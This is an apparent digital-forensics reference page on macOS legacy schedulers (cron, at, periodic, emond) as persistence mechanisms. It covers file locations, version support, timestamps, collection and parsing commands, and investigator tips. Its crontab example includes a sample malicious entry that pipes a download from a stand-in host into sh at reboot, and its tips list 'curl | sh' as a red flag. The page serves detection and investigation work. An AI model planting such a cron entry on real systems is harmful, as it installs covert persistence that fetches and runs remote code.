Skip to content

PersistenceExecution

cron, at and periodic: macOS Scheduled Job Persistence

Legacy macOS schedulers (cron tabs, at jobs, periodic scripts, emond rules): where they live, which versions still run them and how to spot abuse.

Location
/usr/lib/cron/tabs/
Proves
Whether a command was scheduled to run repeatedly or once through a Unix-style scheduler, by which account
Timestamps
File system times of tab and job files (APFS, UTC); cron schedules are in local time
Access
root (tabs directory is mode 700)
Retention
Until the crontab, job or script is removed
Collection
Aftermath, UAC, mac_apt, ditto

What it is

macOS inherited several BSD schedulers, all started by launchd today:

  • cron runs per-user crontabs and an optional /etc/crontab. Apple's man page says its functionality has been absorbed into launchd, but it is still present on macOS 26 Tahoe and starts on demand.
  • at queues one-off jobs, executed by atrun, which is disabled by default.
  • periodic ran daily, weekly and monthly maintenance scripts. It was removed in macOS 15 Sequoia.
  • emond (event monitor daemon) ran rule-based actions at events such as startup. It is gone from macOS 13 Ventura onwards.

Because legitimate use is rare on modern Macs, any user crontab, queued at job, added periodic script or emond rule is worth explaining. Attackers like cron for its simplicity: installing a tab needs no plist, and a standard user may edit their own tab unless listed in cron.deny (which contains only Guest by default).

Where it lives

MechanismPathVersionsNotes
User crontabs/usr/lib/cron/tabs/<user> (symlink target /private/var/at/tabs/)AllDirectory mode 700, root only
System crontab/etc/crontab (/private/etc/crontab)AllAbsent by default; its presence starts cron
cron access control/usr/lib/cron/cron.allow, cron.denyAll
cron launchd job/System/Library/LaunchDaemons/com.vix.cron.plistAllRuns /usr/sbin/cron when /etc/crontab exists or tabs is non-empty
at jobs and spool/usr/lib/cron/jobs/, /usr/lib/cron/spool/All
at access control/usr/lib/cron/at.allow, at.denyAll
atrun launchd job/System/Library/LaunchDaemons/com.apple.atrun.plistAllDisabled = true by default, StartInterval 30
periodic scripts/etc/periodic/daily, weekly, monthly; /usr/local/etc/periodic/*Up to 14 SonomaRemoved in 15 Sequoia
periodic config/etc/defaults/periodic.confUp to 14 SonomaDefines which script directories run
periodic launchd jobscom.apple.periodic-daily, -weekly, -monthly in /System/Library/LaunchDaemons/Up to 14 Sonoma
periodic output/var/log/daily.out, weekly.out, monthly.outUp to 14 Sonoma
emond rules/etc/emond.d/rules/, queue /private/var/db/emondClientsUp to 12 MontereyBinary /sbin/emond

/usr/lib/cron is a symlink to ../../var/at, so on disk everything sits under /private/var/at/. On images, look under /System/Volumes/Data/private/var/at/.

What it proves

  • A user (tab file name = account name) scheduled a command to run on a time pattern, and what the command line was.
  • A one-off command was queued with at (job file contains the environment and the command).
  • A script was added to the periodic directories to run as root on older releases.
  • An emond rule was planted to run a command at startup or other events (up to Monterey).

It does not prove the job actually ran. For cron, cron mails output to the owner (look for /var/mail/<user>) and child processes appear in the Unified Logs. atrun must have been enabled for at jobs to run.

Key fields

A crontab line has five time fields and a command; /etc/crontab adds a user field:

# min hour day-of-month month day-of-week  command
*/10  *    *            *     *            /Users/Shared/.u/update.sh >/dev/null 2>&1
@reboot                                    curl -s https://example.invalid/x | sh

Special strings such as @reboot, @hourly and @daily replace the five fields. MAILTO= and other variables may precede the entries. crontab -l -u <user> (as root) prints a user's tab.

Timestamps

Scheduler files carry no internal creation dates. Use APFS birth, modification and change times (nanosecond precision, UTC) of each tab and job file, plus the modification time of the tabs directory: the crontab command updates the spool directory's modification time on every change, which cron uses to reload tabs.

sudo stat -f '%SB  %Sm  %N' -t '%Y-%m-%dT%H:%M:%S%z' /private/var/at/tabs /private/var/at/tabs/* /private/var/at/jobs/*

Schedules inside crontabs are evaluated in the system's local time zone.

Retention

Tabs, jobs, scripts and rules persist until deleted; at jobs leave the queue once executed. Sequoia and later do not run periodic at all, so for activity on older releases check APFS snapshots and Time Machine backups as well as the live /etc/periodic tree, if one is still present. Periodic output files (daily.out etc.) accumulated on releases up to Sonoma.

Collection

sudo ditto /private/var/at ./case/var_at
sudo ditto /private/etc/crontab ./case/ 2>/dev/null
sudo ditto /private/etc/periodic ./case/periodic 2>/dev/null
sudo ditto /private/etc/defaults/periodic.conf ./case/ 2>/dev/null
sudo ditto /private/etc/emond.d ./case/emond.d 2>/dev/null
sudo launchctl print system/com.vix.cron > ./case/cron_launchd.txt 2>&1
  • Aftermath collects /usr/lib/cron/tabs and /usr/lib/cron/jobs, the /etc/periodic daily, weekly and monthly scripts, and /etc/emond.d on older systems.
  • UAC collects /private/var/at (files/system/job_scheduler.yaml) and /private/etc.
  • mac_apt AUTOSTART lists periodic scripts along with launchd items.

Parsing

Tabs and job files are plain text:

for f in ./case/var_at/tabs/*; do echo "== $(basename "$f")"; grep -v '^#' "$f"; done
grep -h -v '^#' ./case/var_at/jobs/* | tail -n 20      # at job commands follow the environment block

For periodic, compare the script list in /etc/periodic/* against a clean installation of the same macOS version and read daily.out for script output. For emond, rules are plists: plutil -p /etc/emond.d/rules/*.plist.

Investigator tips

  • Any file in /usr/lib/cron/tabs/ on a modern Mac is unusual. Check the owner account, then the command path: /Users/Shared, /tmp, hidden folders and curl | sh patterns are red flags.
  • /etc/crontab is absent by default. If present it makes launchd start cron, and each line carries a user field, so entries often run as root.
  • at jobs matter only if atrun was enabled: check for a launchctl enable or override for com.apple.atrun and sudo commands in sudo logs.
  • Pair each crontab's birth time with shell history (crontab -e, crontab - or echo ... | crontab).
  • cron runs under launchd, so the modern equivalents live in LaunchAgents and LaunchDaemons and Background Task Management: check both.
  • On a Sequoia or later system, a periodic binary or /etc/periodic tree that reappeared was put there by someone.

See also